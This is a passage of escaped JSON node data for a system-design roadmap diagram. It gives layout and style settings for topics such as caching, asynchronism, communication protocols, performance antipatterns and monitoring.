\"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1655.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Ux_JBDOkflCaIm4tVBgO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1708.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Application Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 514.5255635517132,\n        \"y\": 1708.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"84N4XY31PwXRntXX1sdCU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.5,\n        \"y\": 1377.615307718412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asynchronism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 238.5,\n        \"y\": 1377.615307718412\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YiYRZFE_zwPMiCZxz9FnP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1324.5699820487132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Back Pressure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1324.5699820487132\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a9wGW_H1HpvvdYCXoS-Rf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1377.5699820487132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Task Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1377.5699820487132\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"37X1_9eCmkZkz5RDudE5N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1430.5699820487132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Message Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -39.821155651437266,\n        \"y\": 1430.5699820487132\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8FbjRx2vPtjeayul0aczD\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 553.5255635517132,\n        \"y\": 1768.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types of Caching\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 553.5255635517132,\n        \"y\": 1768.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3ewsWpHDMS3XBucSnG3Ab\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 404.5,\n        \"y\": 1275.615307718412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 404.5,\n        \"y\": 1275.615307718412\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"3pRi8M4xQXsehkdfUNtYL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 238.5,\n        \"y\": 1526.3071977542106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Idempotent Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 238.5,\n        \"y\": 1526.3071977542106\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xqPpYbDLE8si-QW58dswv\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 311.5,\n        \"y\": 1426.615307718412\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 101,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 101\n      },\n      \"positionAbsolute\": {\n        \"x\": 311.5,\n        \"y\": 1426.615307718412\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 101\n      }\n    },\n    {\n      \"id\": \"uQFzD_ryd-8Dr1ppjorYJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 11.356025695800781,\n        \"y\": 1525.7191455814577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 11.356025695800781,\n        \"y\": 1525.7191455814577\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I_nR6EwjNXSG7_hw-_VhX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -302.4401505968112,\n        \"y\": 1525.7191455814577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -302.4401505968112,\n        \"y\": 1525.7191455814577\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2nF5uC6fYKbf0RFgGNHiP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -223.94015059681118,\n        \"y\": 1525.7191455814577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -223.94015059681118,\n        \"y\": 1525.7191455814577\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LC5aTmUKNiw9RuSUt3fSE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -155.44015059681118,\n        \"y\": 1525.7191455814577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UDP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -155.44015059681118,\n        \"y\": 1525.7191455814577\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ixqucoAkgnphWYAFnsMe-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.8857859406101,\n        \"y\": 1591.990516401245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.8857859406101,\n        \"y\": 1591.990516401245\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6-bgmfDTAQ9zABhpmVoHV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.8857859406101,\n        \"y\": 1644.990516401245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.8857859406101,\n        \"y\": 1644.990516401245\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hw2v1rCYn24qxBhhmdc28\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -204.2836423217721,\n        \"y\": 1593.7013893324854\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -204.2836423217721,\n        \"y\": 1593.7013893324854\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jwv2g2Yeq-6Xv5zSd746R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -204.2836423217721,\n        \"y\": 1645.759886389313\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -204.2836423217721,\n        \"y\": 1645.759886389313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p--uEm6klLx_hKxKJiXE5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -32,\n        \"y\": 1659.6321590449484\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Antipatterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -32,\n        \"y\": 1659.6321590449484\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hxiV2uF7tvhZKe4K-4fTn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1738.5954266172366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Busy Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1738.5954266172366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i_2M3VloG-xTgWDWp4ngt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1791.5954266172366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Busy Frontend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1791.5954266172366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0IzQwuYi_E00bJwxDuw2B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1844.5954266172366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Chatty I/O\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1844.5954266172366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6u3XmtJFWyJnyZUnJcGYb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1952.198253700603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Extraneous Fetching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1952.198253700603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lwMs4yiUHF3nQwcvauers\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1740.198253700603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Improper Instantiation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1740.198253700603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p1QhCptnwzTGUXVMnz_Oz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1793.198253700603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monolithic Persistence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1793.198253700603\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"klvHk1_e03Jarn5T46QNi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1950.5954266172366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"No Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1950.5954266172366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r7uQxmurvfsYtTCieHqly\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1846.198253700603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Noisy Neighbor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1846.198253700603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LNmAJmh2ndFtOQIpvX_ga\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1897.5954266172366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Retry Storm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 96.17222469280483,\n        \"y\": 1897.5954266172366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ihnmxo_bVgZABDwg1QGGk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1899.198253700603\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchronous I/O\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -150.96939176792688,\n        \"y\": 1899.198253700603\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 278.5,\n        \"y\": 2042.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p--uEm6klLx_hKxKJiXE5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 278.5,\n        \"y\": 2042.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hkjYvLoVt9xKDzubm0Jy3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1883.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Health Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1883.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rVrwaioGURvrqNBufF2dj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1936.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Availability Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1936.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x1i3qWFtNNjd00-kAvFHw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1989.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 1989.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I_NfmDcBph8-oyFVFTknL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2042.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2042.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eSZq74lROh5lllLyTBK5a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2095.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Usage Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2095.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q0fKphqmPwjTD0dhqiP6K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2148.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Instrumentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2148.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IwMOTpsYHApdvHZOhXtIw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2201.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visualization & Alerts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 522.0707860146841,\n        \"y\": 2201.9719489680733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8ZK2iHO4D3cONYu2JN74F\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -302.4401505968112,\n        \"y\": 2038.9719489680733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"The design patterns given in this section are of varying importance. You don't need to master all of them. Simply get an overview of each and this will give you some insight into designing scalable systems.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": 